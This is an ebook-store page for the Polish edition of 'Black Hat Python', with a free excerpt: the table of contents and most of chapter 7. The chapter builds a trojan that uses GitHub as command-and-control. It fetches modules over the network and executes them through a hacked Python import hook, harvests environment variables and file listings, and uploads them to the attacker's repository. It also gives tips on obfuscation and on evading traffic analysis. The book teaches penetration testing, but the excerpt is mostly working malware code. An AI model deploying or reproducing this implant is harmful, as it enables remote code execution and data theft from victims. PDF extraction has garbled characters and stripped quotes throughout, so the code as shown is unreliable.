Cyfroteka.pl

klikaj i czytaj online

Cyfro
Czytomierz
00448 008763 11480695 na godz. na dobę w sumie
Black Hat Python. Język Python dla hakerów i pentesterów - ebook/pdf
Black Hat Python. Język Python dla hakerów i pentesterów - ebook/pdf
Autor: Liczba stron: 184
Wydawca: Helion Język publikacji: polski
ISBN: 978-83-283-1253-1 Data wydania:
Lektor:
Kategoria: ebooki >> komputery i informatyka >> hacking >> bezpieczeństwo systemów
Porównaj ceny (książka, ebook (-20%), audiobook).

Poznaj nowe zastosowania języka Python!

Python to zaawansowany język programowania z ponad 20-letnią historią, który dzięki przemyślanej architekturze, ciągłemu rozwojowi i dużym możliwościom zyskał sporą sympatię programistów. Przełożyła się ona na liczbę dostępnych bibliotek i narzędzi wspierających tworzenie zarówno prostych, jak i skomplikowanych skryptów. Potencjał Pythona docenili również pentesterzy oraz inne osoby, którym nieobce są zagadnienia związane z

Jeżeli bezpieczeństwo systemów to Twoja pasja, to trafiłeś na doskonałą książkę! Sięgnij po nią i przekonaj się, jak szybko stworzyć w języku Python skrypt tropiący pakiety w systemach Windows i Linux, przeprowadzający atak ARP cache poisoning lub korzystający z biblioteki urllib2. Sporo uwagi zostało tu poświęcone tworzeniu koni trojańskich oraz budowaniu rozszerzeń dla narzędzia Burp. Możesz też sprawdzić, jak zaatakować przeglądarkę Internet Explorer oraz zdobyć wyższe uprawnienia w systemie Windows. Książka ta jest doskonałą lekturą dla czytelników chcących zbudować ciekawe narzędzia hakerskie przy użyciu języka Python.

Z książki tej dowiesz się, jak:

Zbuduj własny, niezastąpiony pakiet narzędzi w języku Python!

Znajdź podobne książki Ostatnio czytane w tej kategorii

Darmowy fragment publikacji:

Tytuł oryginału: Black Hat Python: Python Programming for Hackers and Pentesters Tłumaczenie: Łukasz Piwko ISBN: 978-83-283-1250-0 Copyright © 2015 by Justin Seitz. Title of English-language original: Black Hat Python, ISBN: 978-1-59327-590-7, published by No Starch Press. Polish-language edition copyright © 2015 by Helion SA. All rights reserved. All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from the Publisher. Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej publikacji w jakiejkolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną, fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje naruszenie praw autorskich niniejszej publikacji. Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi bądź towarowymi ich właścicieli. Autor oraz Wydawnictwo HELION dołożyli wszelkich starań, by zawarte w tej książce informacje były kompletne i rzetelne. Nie biorą jednak żadnej odpowiedzialności ani za ich wykorzystanie, ani za związane z tym ewentualne naruszenie praw patentowych lub autorskich. Autor oraz Wydawnictwo HELION nie ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania informacji zawartych w książce. Wydawnictwo HELION ul. Kościuszki 1c, 44-100 GLIWICE tel. 32 231 22 19, 32 230 98 63 e-mail: helion@helion.pl WWW: http://helion.pl (księgarnia internetowa, katalog książek) Drogi Czytelniku! Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres http://helion.pl/user/opinie/blahap Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję. Printed in Poland. • Kup książkę • Poleć książkę • Oceń książkę • Księgarnia internetowa • Lubię to! » Nasza społeczność Spis tre(cid:258)ci O AUTORZE ............................................................................................... 9 O KOREKTORACH MERYTORYCZNYCH .................................................. 10 PRZEDMOWA ........................................................................................... 11 WST(cid:125)P ...................................................................................................... 13 PODZI(cid:125)KOWANIA ................................................................................... 15 1 PRZYGOTOWANIE (cid:165)RODOWISKA PYTHONA .......................................... 17 Instalowanie systemu Kali Linux .............................................................................................18 WingIDE .................................................................................................................................20 2 PODSTAWOWE WIADOMO(cid:165)CI O SIECI ..................................................... 27 Narz(cid:218)dzia sieciowe Pythona ..................................................................................................28 Klient TCP ..............................................................................................................................28 Klient UDP .............................................................................................................................29 Serwer TCP ...........................................................................................................................30 Budowa netcata ......................................................................................................................31 Czy to w ogóle dzia(cid:239)a .........................................................................................................37 Tworzenie proxy TCP ...........................................................................................................38 Czy to w ogóle dzia(cid:239)a .........................................................................................................43 SSH przez Paramiko ...............................................................................................................44 Czy to w ogóle dzia(cid:239)a .........................................................................................................47 Tunelowanie SSH ...................................................................................................................48 Czy to w ogóle dzia(cid:239)a .........................................................................................................51 Poleć książkęKup książkę 3 SIE(cid:109) — SUROWE GNIAZDA I SZPERACZE SIECIOWE ............................... 53 Budowa narz(cid:218)dzia UDP do wykrywania hostów .................................................................. 54 Tropienie pakietów w Windowsie i Linuksie ......................................................................... 55 Czy to w ogóle dzia(cid:239)a ........................................................................................................ 56 Dekodowanie warstwy IP ..................................................................................................... 57 Czy to w ogóle dzia(cid:239)a ........................................................................................................ 60 Dekodowanie danych ICMP .................................................................................................. 61 Czy to w ogóle dzia(cid:239)a ........................................................................................................ 64 4 POSIADANIE SIECI ZE SCAPY .................................................................. 67 Wykradanie danych po(cid:258)wiadczaj(cid:200)cych u(cid:285)ytkownika z wiadomo(cid:258)ci e-mail ........................... 68 Czy to w ogóle dzia(cid:239)a ........................................................................................................ 70 Atak ARP cache poisoning przy u(cid:285)yciu biblioteki Scapy ........................................................ 71 Czy to w ogóle dzia(cid:239)a ........................................................................................................ 75 Przetwarzanie pliku PCAP ..................................................................................................... 76 Czy to w ogóle dzia(cid:239)a ........................................................................................................ 79 5 HAKOWANIE APLIKACJI SIECIOWYCH ................................................... 81 Internetowa biblioteka gniazd urllib2 .................................................................................... 82 Mapowanie aplikacji sieciowych typu open source ............................................................... 83 Czy to w ogóle dzia(cid:239)a ........................................................................................................ 84 Analizowanie aplikacji metod(cid:200) si(cid:239)ow(cid:200) .................................................................................... 85 Czy to w ogóle dzia(cid:239)a ........................................................................................................ 88 Ataki si(cid:239)owe na formularze uwierzytelniania ......................................................................... 89 Czy to w ogóle dzia(cid:239)a ........................................................................................................ 94 6 ROZSZERZANIE NARZ(cid:125)DZI BURP .......................................................... 95 Wst(cid:218)pna konfiguracja ............................................................................................................ 96 Fuzzing przy u(cid:285)yciu Burpa ..................................................................................................... 96 Czy to w ogóle dzia(cid:239)a ...................................................................................................... 103 Bing w s(cid:239)u(cid:285)bie Burpa ........................................................................................................... 107 Czy to w ogóle dzia(cid:239)a ...................................................................................................... 111 Tre(cid:258)(cid:202) strony internetowej jako kopalnia hase(cid:239) .................................................................... 113 Czy to w ogóle dzia(cid:239)a ...................................................................................................... 116 7 CENTRUM DOWODZENIA GITHUB ....................................................... 119 Tworzenie konta w portalu GitHub .................................................................................... 120 Tworzenie modu(cid:239)ów ........................................................................................................... 121 Konfiguracja trojana ............................................................................................................. 122 6 S p i s t r e (cid:258) c i Poleć książkęKup książkę Budowa trojana komunikuj(cid:200)cego si(cid:218) z portalem GitHub .....................................................123 Hakowanie funkcji importu Pythona ................................................................................125 Czy to w ogóle dzia(cid:239)a .......................................................................................................127 8 POPULARNE ZADANIA TROJANÓW W SYSTEMIE WINDOWS ............... 129 Rejestrowanie naciskanych klawiszy ....................................................................................130 Czy to w ogóle dzia(cid:239)a .......................................................................................................132 Robienie zrzutów ekranu .....................................................................................................133 Wykonywanie kodu pow(cid:239)oki przy u(cid:285)yciu Pythona ..............................................................134 Czy to w ogóle dzia(cid:239)a .......................................................................................................135 Wykrywanie (cid:258)rodowiska ograniczonego ..............................................................................136 9 ZABAWA Z INTERNET EXPLOREREM ................................................... 141 Cz(cid:239)owiek w przegl(cid:200)darce (albo co(cid:258) w tym rodzaju) ............................................................142 Tworzenie serwera ..........................................................................................................145 Czy to w ogóle dzia(cid:239)a .......................................................................................................146 Wykradanie danych przy u(cid:285)yciu COM i IE ...........................................................................146 Czy to w ogóle dzia(cid:239)a .......................................................................................................153 10 ZWI(cid:125)KSZANIE UPRAWNIE(cid:148) W SYSTEMIE WINDOWS ............................ 155 Instalacja potrzebnych narz(cid:218)dzi ...........................................................................................156 Tworzenie monitora procesów ...........................................................................................157 Monitorowanie procesów przy u(cid:285)yciu WMI ....................................................................157 Czy to w ogóle dzia(cid:239)a .......................................................................................................159 Uprawnienia tokenów Windows .........................................................................................160 Pierwsi na mecie ..................................................................................................................162 Czy to w ogóle dzia(cid:239)a .......................................................................................................165 Wstrzykiwanie kodu .............................................................................................................166 Czy to w ogóle dzia(cid:239)a .......................................................................................................167 11 AUTOMATYZACJA WYKRYWANIA ATAKÓW ....................................... 169 Instalacja ...............................................................................................................................170 Profile ...................................................................................................................................170 Wydobywanie skrótów hase(cid:239) ...............................................................................................171 Bezpo(cid:258)rednie wstrzykiwanie kodu ......................................................................................174 Czy to w ogóle dzia(cid:239)a .......................................................................................................179 SKOROWIDZ .......................................................................................... 181 S p i s t r e (cid:258) c i 7 Poleć książkęKup książkę 8 S p i s t r e (cid:258) c i Poleć książkęKup książkę 7 Centrum dowodzenia GitHub JEDNYM Z NAJWI(cid:125)KSZYCH PROBLEMÓW DO ROZWI(cid:107)ZANIA PRZY TWORZENIU SZKIELETOWEGO SYSTEMU TROJANÓW JEST ASYNCHRONICZNE KONTROLOWANIE, AKTUALIZOWANIE I ODBIERANIE DANYCH OD WDRO(cid:191)ONYCH IMPLANTÓW. MUSIMY mie(cid:202) wzgl(cid:218)dnie uniwersaln(cid:200) metod(cid:218) wysy(cid:239)ania kodu do zdalnych wirusów. Taki poziom elastyczno(cid:258)ci jest potrzebny nie tylko po to, by móc kontrolowa(cid:202) swoje trojany, ale równie(cid:285) po to, by móc przechowywa(cid:202) kod przeznaczony dla kon- kretnych systemów operacyjnych. Cho(cid:202) hakerzy wynale(cid:283)li wiele pomys(cid:239)owych technik dowodzenia swoimi produktami, np. przy wykorzystaniu IRC-a i Twittera, my u(cid:285)yjemy us(cid:239)ugi, która s(cid:239)u(cid:285)y w(cid:239)a(cid:258)nie do przechowywania kodu. U(cid:285)yjemy portalu GitHub do przecho- wywania konfiguracji implantów i filtrowanych danych, jak równie(cid:285) wszystkich modu(cid:239)ów potrzebnych implantom do dzia(cid:239)ania. Ponadto poka(cid:285)(cid:218) Ci, jak zmody- fikowa(cid:202) mechanizm importu macierzystej biblioteki Pythona, tak aby po utwo- rzeniu przez nas nowego modu(cid:239)u trojana nasze implanty automatycznie próbo- wa(cid:239)y go pobra(cid:202) wraz ze wszystkimi bibliotekami zale(cid:285)nymi wprost z naszego repozytorium. Pami(cid:218)taj, (cid:285)e komunikacja z portalem GitHub jest poddawana szyfrowaniu SSL i tylko nieliczne firmy aktywnie blokuj(cid:200) ruch z tego serwisu. Poleć książkęKup książkę Nale(cid:285)y podkre(cid:258)li(cid:202), (cid:285)e do tych testów u(cid:285)yjemy publicznego repozytorium. Je(cid:258)li masz troch(cid:218) pieni(cid:218)dzy do wydania, to mo(cid:285)esz te(cid:285) utworzy(cid:202) repozytorium prywatne, dzi(cid:218)ki czemu ukryjesz swoje post(cid:218)pki przed w(cid:258)cibskimi. Ponadto wszystkie modu(cid:239)y, informacje konfiguracyjne i dane mo(cid:285)na zaszyfrowa(cid:202) przy u(cid:285)yciu par kluczy publicznych i prywatnych, o czym b(cid:218)dzie mowa w rozdziale 9. Zaczynamy! Tworzenie konta w portalu GitHub Je(cid:258)li nie masz jeszcze konta w portalu GitHub, to wejd(cid:283) na stron(cid:218) GitHub.com i si(cid:218) zarejestruj, a nast(cid:218)pnie utwórz nowe repozytorium o nazwie chapter7. Potem musisz zainstalowa(cid:202) bibliotek(cid:218) Pythona z API GitHub1, aby móc zauto- matyzowa(cid:202) proces komunikacji z repozytorium. W tym celu wystarczy wykona(cid:202) poni(cid:285)sze polecenie w wierszu polece(cid:241): pip install github3.py Je(cid:258)li nie masz jeszcze klienta git, to teraz go zainstaluj. Ja do pracy u(cid:285)ywam systemu Linux, ale klient ten dzia(cid:239)a na wszystkich platformach. Kolejn(cid:200) czynno- (cid:258)ci(cid:200) jest utworzenie struktury katalogów w repozytorium. Wykonaj w wierszu polece(cid:241) poni(cid:285)sze polecenia (odpowiednio je dostosuj, je(cid:258)li u(cid:285)ywasz systemu Windows): $ mkdir trojan $ cd trojan $ git init $ mkdir modules $ mkdir config $ mkdir data $ touch modules/.gitignore $ touch config/.gitignore $ touch data/.gitignore $ git add . $ git commit -m Dodanie struktury repozytorium dla trojana. $ git remote add origin https://github.com/ yourusername /chapter7.git $ git push origin master Utworzyli(cid:258)my podstawow(cid:200) struktur(cid:218) naszego repozytorium. Katalog config zawiera pliki konfiguracyjne, które dla ka(cid:285)dego trojana b(cid:218)d(cid:200) inne. Ka(cid:285)dy trojan b(cid:218)dzie s(cid:239)u(cid:285)y(cid:239) do czego(cid:258) innego, wi(cid:218)c musi pobiera(cid:202) w(cid:239)asny plik konfiguracyj- ny. Katalog modules zawiera modu(cid:239)y do pobrania i wykonania przez trojana. 1 Repozytorium, w którym przechowywana jest ta biblioteka, znajduje si(cid:218) pod adresem https://github.com/ copitux/python-github3/. 120 R o z d z i a (cid:239) 7 Poleć książkęKup książkę Zaimplementujemy specjalny hak importu, aby umo(cid:285)liwi(cid:202) naszym trojanom im- portowanie bibliotek wprost z naszego repozytorium GitHub. Przy okazji umo(cid:285)- liwi nam to przechowywanie w GitHub zewn(cid:218)trznych bibliotek, dzi(cid:218)ki czemu nie b(cid:218)dziemy musieli od nowa kompilowa(cid:202) trojana za ka(cid:285)dym razem, gdy ze- chcemy doda(cid:202) nowe funkcje lub zale(cid:285)no(cid:258)ci. Katalog data pos(cid:239)u(cid:285)y nam do prze- chowywania zdobytych przez trojana danych, informacji z przechwytywania na- ci(cid:258)ni(cid:218)(cid:202) klawiszy, zrzutów ekranu itd. Teraz utworzymy kilka prostych modu(cid:239)ów i przyk(cid:239)adowy plik konfiguracyjny. Tworzenie modu(cid:239)ów W dalszych rozdzia(cid:239)ach nauczysz si(cid:218) robi(cid:202) brzydkie rzeczy przy u(cid:285)yciu trojanów, np. rejestrowa(cid:202) naciskane klawisze i robi(cid:202) zrzuty ekranu. Ale na pocz(cid:200)tek utwo- rzymy kilka prostych modu(cid:239)ów, które b(cid:218)d(cid:200) (cid:239)atwe do przetestowania i wdro(cid:285)enia. Utwórz nowy plik w katalogu modules, nazwij go dirlister.py i wpisz do niego poni(cid:285)szy kod: import os def run(**args): print [*] W module dirlister. files = os.listdir( . ) return str(files) Ten krótki fragment kodu zawiera definicj(cid:218) funkcji run tworz(cid:200)cej i zwracaj(cid:200)- cej list(cid:218) wszystkich plików znajduj(cid:200)cych si(cid:218) w bie(cid:285)(cid:200)cym katalogu. Ka(cid:285)dy modu(cid:239) powinien zawiera(cid:202) funkcj(cid:218) run przyjmuj(cid:200)c(cid:200) zmienn(cid:200) liczb(cid:218) argumentów. Dzi(cid:218)ki temu ka(cid:285)dy modu(cid:239) mo(cid:285)na za(cid:239)adowa(cid:202) w taki sam sposób, a jednocze(cid:258)nie ma si(cid:218) mo(cid:285)liwo(cid:258)(cid:202) dostosowywania plików konfiguracyjnych przekazywanych do modu(cid:239)ów. Utwórzmy jeszcze jeden modu(cid:239), tym razem o nazwie environment.py. import os def run(**args): print [*] W module environment. return str(os.environ) Modu(cid:239) ten pobiera zmienne (cid:258)rodowiskowe ze zdalnej maszyny, na której zain- stalowany jest trojan. Teraz wy(cid:258)lemy ten kod do naszego repozytorium GitHub, aby udost(cid:218)pni(cid:202) go naszemu wirusowi. W wierszu polece(cid:241) przejd(cid:283) do g(cid:239)ównego katalogu repozytorium i wykonaj poni(cid:285)sze polecenia: Centrum dowodzenia GitHub 121 Poleć książkęKup książkę $ git add . $ git commit -m Dodanie nowych modu(cid:239)ów $ git push origin master Username: ******** Password: ******** Kod powinien zosta(cid:202) wys(cid:239)any do repozytorium GitHub. Je(cid:258)li chcesz si(cid:218) upewni(cid:202), to mo(cid:285)esz si(cid:218) zalogowa(cid:202) i to sprawdzi(cid:202)! Dok(cid:239)adnie w ten sam sposób mo(cid:285)esz post(cid:218)powa(cid:202) przy pisaniu programów w przysz(cid:239)o(cid:258)ci. Utworzenie bar- dziej zaawansowanych modu(cid:239)ów pozostawiam jako zadanie domowe do samo- dzielnego wykonania. Je(cid:258)li b(cid:218)dziesz mie(cid:202) kilkaset wdro(cid:285)onych trojanów, mo(cid:285)esz wysy(cid:239)a(cid:202) nowe modu(cid:239)y do repozytorium GitHub i sprawdza(cid:202), czy dobrze dzia- (cid:239)aj(cid:200), w(cid:239)(cid:200)czaj(cid:200)c je w pliku konfiguracyjnym lokalnej wersji wirusa. W ten sposób wszystkie trojany przed wdro(cid:285)eniem na zdalnej maszynie mo(cid:285)na przetestowa(cid:202) w kontrolowanym (cid:258)rodowisku. Konfiguracja trojana Chcemy mie(cid:202) mo(cid:285)liwo(cid:258)(cid:202) zlecania naszemu trojanowi ró(cid:285)nych zada(cid:241) przez pe- wien czas. W zwi(cid:200)zku z tym musimy jako(cid:258) si(cid:218) z nim komunikowa(cid:202), aby poin- formowa(cid:202) go, które modu(cid:239)y ma uruchomi(cid:202). Do tego celu wykorzystamy pliki konfiguracyjne, przy u(cid:285)yciu których b(cid:218)dziemy te(cid:285) mogli w razie potrzeby usy- pia(cid:202) trojana (nie daj(cid:200)c mu (cid:285)adnych zada(cid:241)). Ka(cid:285)dy wdro(cid:285)ony wirus powinien mie(cid:202) identyfikator odró(cid:285)niaj(cid:200)cy go od innych wirusów, aby(cid:258)my wiedzieli, sk(cid:200)d pochodz(cid:200) przychodz(cid:200)ce dane, oraz aby(cid:258)my mogli kontrolowa(cid:202) ka(cid:285)dy wirus osobno. Skonfigurujemy trojana tak, aby szuka(cid:239) w katalogu config pliku o nazwie IDENTYFIKATOR.json zawieraj(cid:200)cego kod w formacie JSON, który mo(cid:285)na prze- konwertowa(cid:202) na s(cid:239)ownik Pythona. Format JSON umo(cid:285)liwia tak(cid:285)e (cid:239)atw(cid:200) zmian(cid:218) ustawie(cid:241) konfiguracyjnych. Otwórz katalog config i utwórz w nim plik o nazwie abc.json z nast(cid:218)puj(cid:200)c(cid:200) zawarto(cid:258)ci(cid:200): [ { module : dirlister }, { module : environment } ] Jest to prosta lista modu(cid:239)ów, które chcemy uruchamia(cid:202) przez naszego trojana. Pó(cid:283)niej poka(cid:285)(cid:218), jak wczyta(cid:202) ten dokument i w(cid:239)(cid:200)cza(cid:202) modu(cid:239)y za pomoc(cid:200) iteracji przez zawarte w nim opcje. Je(cid:258)li zastanawiasz si(cid:218), jakie opcje by(cid:239)yby przydatne w modu(cid:239)ach, to mo(cid:285)esz pomy(cid:258)le(cid:202) o ustawianiu czasu wykonywania i liczby uru- chomie(cid:241) oraz przekazywaniu argumentów. Przejd(cid:283) do wiersza polece(cid:241) i wykonaj poni(cid:285)sze polecenie w katalogu g(cid:239)ównym repozytorium. 122 R o z d z i a (cid:239) 7 Poleć książkęKup książkę $ git add . $ git commit -m Dodanie prostych opcji konfiguracji. $ git push origin master Username: ******** Password: ******** Przedstawiony dokument konfiguracyjny jest bardzo prosty. Zawiera list(cid:218) s(cid:239)owników informuj(cid:200)cych trojana, jakie modu(cid:239)y ma zaimportowa(cid:202) i uruchomi(cid:202). Gdy b(cid:218)dziesz pracowa(cid:202) nad systemem szkieletowym, mo(cid:285)esz doda(cid:202) jeszcze inne ustawienia, jak np. metody wykradania danych, o których jest mowa w rozdziale 9. Skoro mamy pliki konfiguracyjne i proste modu(cid:239)y do wykonania, mo(cid:285)emy zacz(cid:200)(cid:202) prac(cid:218) nad g(cid:239)ówn(cid:200) cz(cid:218)(cid:258)ci(cid:200) trojana. Budowa trojana komunikuj(cid:200)cego si(cid:218) z portalem GitHub Teraz utworzymy w(cid:239)a(cid:258)ciwego trojana, który b(cid:218)dzie pobiera(cid:239) opcje konfiguracyjne i kod do wykonania z portalu GitHub. Pierwsz(cid:200) czynno(cid:258)ci(cid:200) jest napisanie mecha- nizmów obs(cid:239)uguj(cid:200)cych po(cid:239)(cid:200)czenie, uwierzytelnianie i komunikacj(cid:218) z interfejsem API GitHub. Utwórz plik o nazwie git_trojan.py i wpisz do niego poni(cid:285)szy kod: import json import base64 import sys import time import imp import random import threading import Queue import os from github3 import login (cid:153) trojan_id = abc trojan_config = s.json trojan_id data_path = data/ s/ trojan_id trojan_modules= [] task_queue = Queue.Queue() configured = False Jest to prosty kod z podstawow(cid:200) konfiguracj(cid:200) i instrukcjami importuj(cid:200)cymi niezb(cid:218)dne sk(cid:239)adniki, który po skompilowaniu nie powinien mie(cid:202) du(cid:285)ego rozmia- ru. Napisa(cid:239)em, (cid:285)e nie powinien, poniewa(cid:285) wi(cid:218)kszo(cid:258)(cid:202) plików binarnych Pythona skompilowanych przy u(cid:285)yciu narz(cid:218)dzia py2exe2 ma oko(cid:239)o 7 MB. Jedyna godna 2 Narz(cid:218)dzie py2exe mo(cid:285)na znale(cid:283)(cid:202) na stronie http://www.py2exe.org/. Centrum dowodzenia GitHub 123 Poleć książkęKup książkę bli(cid:285)szej uwagi rzecz to zmienna trojan_id (cid:153) zawieraj(cid:200)ca identyfikator trojana. Gdyby(cid:258) chcia(cid:239) rozwin(cid:200)(cid:202) ten program do rozmiaru botnetu, to przyda Ci si(cid:218) mo(cid:285)liwo(cid:258)(cid:202) generowania trojanów, ustawiania ich identyfikatorów, automatycz- nego tworzenia plików konfiguracyjnych wysy(cid:239)anych do serwisu GitHub oraz kompilowania trojanów do postaci pliku wykonywalnego. Ale w tej ksi(cid:200)(cid:285)ce nie opisuj(cid:218) metod tworzenia botnetów. U(cid:285)yj swojej wyobra(cid:283)ni. Teraz wy(cid:258)lemy kod do repozytorium GitHub. def connect_to_github(): gh = login(username= blackhatpythonbook ,password= justin1234 ) repo = gh.repository( blackhatpythonbook , chapter7 ) branch = repo.branch( master ) return gh,repo,branch def get_file_contents(filepath): gh,repo,branch = connect_to_github() tree = branch.commit.commit.tree.recurse() for filename in tree.tree: if filepath in filename.path: print [*] Znaleziono plik s filepath blob = repo.blob(filename._json_data[ sha ]) return blob.content return None def get_trojan_config(): global configured config_json = get_file_contents(trojan_config) config = json.loads(base64.b64decode(config_json)) configured = True for task in config: if task[ module ] not in sys.modules: exec( import s task[ module ]) return config def store_module_result(data): gh,repo,branch = connect_to_github() remote_path = data/ s/ d.data (trojan_id,random.randint(1000,100000)) repo.create_file(remote_path, Wiadomo(cid:258)(cid:202) o zatwierdzeniu ,base64. (cid:180)b64encode(data)) return 124 R o z d z i a (cid:239) 7 Poleć książkęKup książkę Te cztery funkcje obs(cid:239)uguj(cid:200) podstawow(cid:200) komunikacj(cid:218) mi(cid:218)dzy trojanem a ser- wisem GitHub. Funkcja connect_to_github uwierzytelnia u(cid:285)ytkownika w repo- zytorium i zapisuje bie(cid:285)(cid:200)ce obiekty repo i branch dla innych funkcji. Pami(cid:218)taj (cid:285)e w prawdziwym programie nale(cid:285)a(cid:239)oby maksymalnie zaciemni(cid:202) t(cid:218) procedur(cid:218) uwierzytelniania. Ponadto warto rozwa(cid:285)y(cid:202), do czego ka(cid:285)dy trojan w repozytorium ma dost(cid:218)p, tak aby je(cid:258)li wirus zostanie wykryty, kto(cid:258) nie móg(cid:239) go wykorzysta(cid:202) do usuni(cid:218)cia wszystkich zdobytych przez nas danych. Funkcja get_file_contents s(cid:239)u(cid:285)y do pobierania plików ze zdalnego repozytorium i odczytywania ich za- warto(cid:258)ci lokalnie. Przy jej u(cid:285)yciu b(cid:218)dziemy wczytywa(cid:202) opcje konfiguracyjne, jak równie(cid:285) odczytywa(cid:202) kod (cid:283)ród(cid:239)owy modu(cid:239)ów. Funkcja get_trojan_config s(cid:239)u(cid:285)y do pobierania z repozytorium dokumentów konfiguracyjnych, zawieraj(cid:200)cych wskazówki dotycz(cid:200)ce tego, które modu(cid:239)y trojan ma uruchomi(cid:202). I ostatnia funkcja, store_module_result, wysy(cid:239)a zgromadzone dane na nasze konto. Teraz utworzymy hak importu pozwalaj(cid:200)cy importowa(cid:202) zdalne pliki z repozytorium GitHub. Hakowanie funkcji importu Pythona Skoro dotar(cid:239)e(cid:258) do tej strony, to wiesz, (cid:285)e do pobierania zewn(cid:218)trznych bibliotek do programów w Pythonie s(cid:239)u(cid:285)y instrukcja import. Podobn(cid:200), ale nieco rozsze- rzon(cid:200) funkcjonalno(cid:258)(cid:202) chcemy mie(cid:202) te(cid:285) w naszym trojanie. Mówi(cid:200)c dok(cid:239)adniej, chcemy sprawi(cid:202), aby po pobraniu zale(cid:285)no(cid:258)ci (np. z u(cid:285)yciem Scapy lub netaddr) nasz trojan udost(cid:218)pnia(cid:239) dany modu(cid:239) wszystkim pozosta(cid:239)ym modu(cid:239)om, które pó(cid:283)- niej dodamy. W Pythonie mo(cid:285)na modyfikowa(cid:202) sposób importowania modu(cid:239)ów, tak (cid:285)e je(cid:258)li jaki(cid:258) modu(cid:239) nie zostanie znaleziony lokalnie, nast(cid:218)puje wywo(cid:239)anie klasy importowej, która umo(cid:285)liwia pobranie potrzebnej biblioteki ze zdalnego repozytorium. Nale(cid:285)y tylko doda(cid:202) w(cid:239)asn(cid:200) klas(cid:218) do listy sys.meta_path3. Zatem teraz napiszemy w(cid:239)asn(cid:200) klas(cid:218) (cid:239)aduj(cid:200)c(cid:200) zale(cid:285)no(cid:258)ci. Jej kod (cid:283)ród(cid:239)owy znajduje si(cid:218) poni(cid:285)ej: class GitImporter(object): def __init__(self): self.current_module_code = def find_module(self,fullname,path=None): if configured: print [*] Próba pobrania s fullname (cid:153) new_library = get_file_contents( modules/ s fullname) if new_library is not None: (cid:154) self.current_module_code = base64.b64decode(new_library) return self return None 3 Na stronie http://xion.org.pl/2012/05/06/hacking-python-imports/ znajduje si(cid:218) doskona(cid:239)e obja(cid:258)nienie tej techniki napisane przez Karola Kuczmarskiego. Centrum dowodzenia GitHub 125 Poleć książkęKup książkę def load_module(self,name): (cid:155) module = imp.new_module(name) (cid:156) exec self.current_module_code in module.__dict__ (cid:157) sys.modules[name] = module return module Za ka(cid:285)dym razem gdy interpreter próbuje za(cid:239)adowa(cid:202) niedost(cid:218)pny modu(cid:239), wykorzystana zostaje klasa GitImporter. Najpierw wywo(cid:239)ywana jest funkcja find_module, która ma za zadanie zlokalizowa(cid:202) modu(cid:239). Przekazujemy to wywo- (cid:239)anie do naszego (cid:239)adowacza zdalnych plików (cid:153) i je(cid:258)li dany plik znajduje si(cid:218) w naszym repozytorium, kodujemy jego zawarto(cid:258)(cid:202) algorytmem base64 i zapi- sujemy j(cid:200) w naszej klasie (cid:154). Zwrot self oznacza dla interpretera Pythona, (cid:285)e znale(cid:283)li(cid:258)my modu(cid:239) i (cid:285)e mo(cid:285)na wywo(cid:239)a(cid:202) funkcj(cid:218) load_module w celu jego za(cid:239)a- dowania. Przy u(cid:285)yciu macierzystego modu(cid:239)u imp najpierw tworzymy nowy pu- sty obiekt modu(cid:239)u (cid:155), a potem wstawiamy do niego kod pobrany z GitHub (cid:156). Ostatni(cid:200) czynno(cid:258)ci(cid:200) jest dodanie utworzonego modu(cid:239)u do listy sys.modules (cid:157), aby znajdowa(cid:239)y go kolejne instrukcje importu. Pozosta(cid:239)o nam ju(cid:285) tylko doko(cid:241)- czenie trojana i sprawdzenie, czy dzia(cid:239)a. def module_runner(module): task_queue.put(1) (cid:153) result = sys.modules[module].run() task_queue.get() # Zapisuje wynik w repozytorium (cid:154) store_module_result(result) return # g(cid:239)ówna p(cid:218)tla trojana (cid:155) sys.meta_path = [GitImporter()] while True: if task_queue.empty(): (cid:156) config = get_trojan_config() for task in config: (cid:157) t = threading.Thread(target=module_runner,args=(task[ module ],)) t.start() time.sleep(random.randint(1,10)) time.sleep(random.randint(1000,10000)) 126 R o z d z i a (cid:239) 7 Poleć książkęKup książkę Przed rozpocz(cid:218)ciem p(cid:218)tli g(cid:239)ównej aplikacji dodajemy do programu nasz im- porter modu(cid:239)ów (cid:155). Pierwsz(cid:200) czynno(cid:258)ci(cid:200) jest pobranie pliku konfiguracyjnego z repozytorium (cid:156), a nast(cid:218)pn(cid:200) — uruchomienie modu(cid:239)u w osobnym w(cid:200)tku (cid:157). W funkcji module_runner wywo(cid:239)ujemy funkcj(cid:218) run modu(cid:239)u (cid:153), aby uruchomi(cid:202) jego kod. Wynik dzia(cid:239)ania modu(cid:239)u powinien by(cid:202) zapisany w (cid:239)a(cid:241)cuchu, który przesy(cid:239)amy do naszego repozytorium (cid:154). Na koniec usypiamy program na losow(cid:200) ilo(cid:258)(cid:202) czasu, aby zmyli(cid:202) sieciowe algorytmy analizy wzorów zachowa(cid:241). Oczywi(cid:258)cie aby ukry(cid:202) swoje niecne intencje, mo(cid:285)na te(cid:285) stworzy(cid:202) troch(cid:218) ruchu do strony Google.com i zrobi(cid:202) kilka innych rzeczy. Teraz sprawdzimy, jak nasz trojan spi- suje si(cid:218) w praktyce! Czy to w ogóle dzia(cid:239)a Bierzemy nasz(cid:200) (cid:258)licznotk(cid:218) na przeja(cid:285)d(cid:285)k(cid:218) w wierszu polece(cid:241). OSTRZE(cid:191)ENIE Je(cid:258)li w plikach lub zmiennych (cid:258)rodowiskowych przechowujesz poufne dane, to pami(cid:218)taj, (cid:285)e w bezp(cid:239)atnym repozytorium GitHub b(cid:218)d(cid:200) one widoczne dla ca(cid:239)ego (cid:258)wiata. Pami(cid:218)taj, (cid:285)e ostrzega(cid:239)em — no i oczywi(cid:258)cie mo(cid:285)esz te(cid:285) zastosowa(cid:202) tech- niki szyfrowania opisane w rozdziale 9. $ python git_trojan.py [*] Znaleziono plik abc.json [*] Próba pobrania dirlister [*] Znaleziono plik modules/dirlister [*] Próba pobrania environment [*] Znaleziono plik modules/environment [*] W module dirlister. [*] W module environment. Doskonale. Trojan po(cid:239)(cid:200)czy(cid:239) si(cid:218) z moim 